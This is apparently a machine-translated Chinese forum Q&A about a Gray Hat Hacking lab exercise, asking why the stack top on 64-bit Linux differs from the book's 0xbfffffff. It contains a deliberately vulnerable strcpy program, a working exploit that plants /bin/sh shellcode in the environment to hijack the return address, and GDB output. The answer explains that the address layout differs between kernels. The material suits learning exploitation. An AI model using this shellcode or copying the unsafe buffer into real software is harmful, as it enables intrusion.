根据Gray Hat Hacking的书,“所有Linux ELF文件都被映射到内存中,最后一个相对地址为0xbfffffff”。 通过从这个地址中减去4个NULL字节,文件名的长度和shellcode的长度,显然可以将被利用的缓冲区中的返回地址设置为环境variables的返回地址。
然而,试图这样做,在我看来,在我的64位Linuxtesting环境( 禁用ASLR ),堆栈启动不是在0xbffffff,而是在0xffffdfff。
为什么我的堆栈以与本书不同的地址开始? 这不是关于ALSR,因为地址不会每次都改变,但我想知道为什么我的地址是从0xffffdfff开始,而不是在本书中的地址。 想法?
这里是易受攻击的缓冲区:
#include <string.h> #include <stdio.h> #include <stdlib.h> void main(int argc, char *argv[]) { char buffer[10]; printf("Vulnerable program has loaded..."); fflush(stdout); strcpy(buffer, argv[1]); }
编译器选项:
gcc -m32 -mpreferred-stack-boundary=2 -z execstack -fno-stack-protector -ggdb -o shellcode_env shellcode_env.c
这里是攻击代码:
#include <unistd.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #define FILENAME "./vulnerable_buffer_small" #define SIZE 80 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; void main(int argc, char *argv[]) { char *environment[] = {shellcode, NULL}; char buffer[SIZE]; char *parameters[] = {FILENAME, buffer, NULL}; int *pointer, i, address; address = 0xbffffffa - strlen(shellcode) - strlen(FILENAME); pointer = (int *) (buffer + 2);; for (i = 0; i < SIZE; i += 4) { *pointer++ = address; } printf("Using address: 0x%X\n", address); execle(parameters[0], (char*) parameters, environment); exit(1); }
我试图用GDB在易受攻击的程序中find第一个环境variables的地址,但没有成功:
(gdb) x/s *environ *lines removed for clarity* 0xffffdfb5: "DISPLAY=:1" (gdb) 0xffffdfc0: "/home/Workbench/vulnerable_buffer_small" (gdb) 0xffffdff8: "" (gdb) 0xffffdff9: "" (gdb) 0xffffdffa: "" (gdb) 0xffffdffb: "" (gdb) 0xffffdffc: "" (gdb) 0xffffdffd: "" (gdb) 0xffffdffe: "" (gdb) 0xffffdfff: "" (gdb) 0xffffe000: <error: Cannot access memory at address 0xffffe000>
有人可以解释我在这里错过了什么吗?
解释相当简单 – 如果您比较32位内核和64位内核,则段顺序和地址布局肯定不同。 本书的版本可能针对32位内核上的32位ELF二进制文件,或者可能是旧版本的内核。 即使你运行一个32位的二进制文件,你仍然应该期望得到不同的结果。 不应该假设地址空间布局在不同的内核版本之间甚至是相同的。
在网上有相当多的资源来发现有关这个问题的更多细节,例如一个关于coreel 2.0的非常过时的文章: http : //asm.sourceforge.net/articles/startup.html
您还应该深入探讨Linux上32位和64位二进制文件之间的程序地址空间布局差异。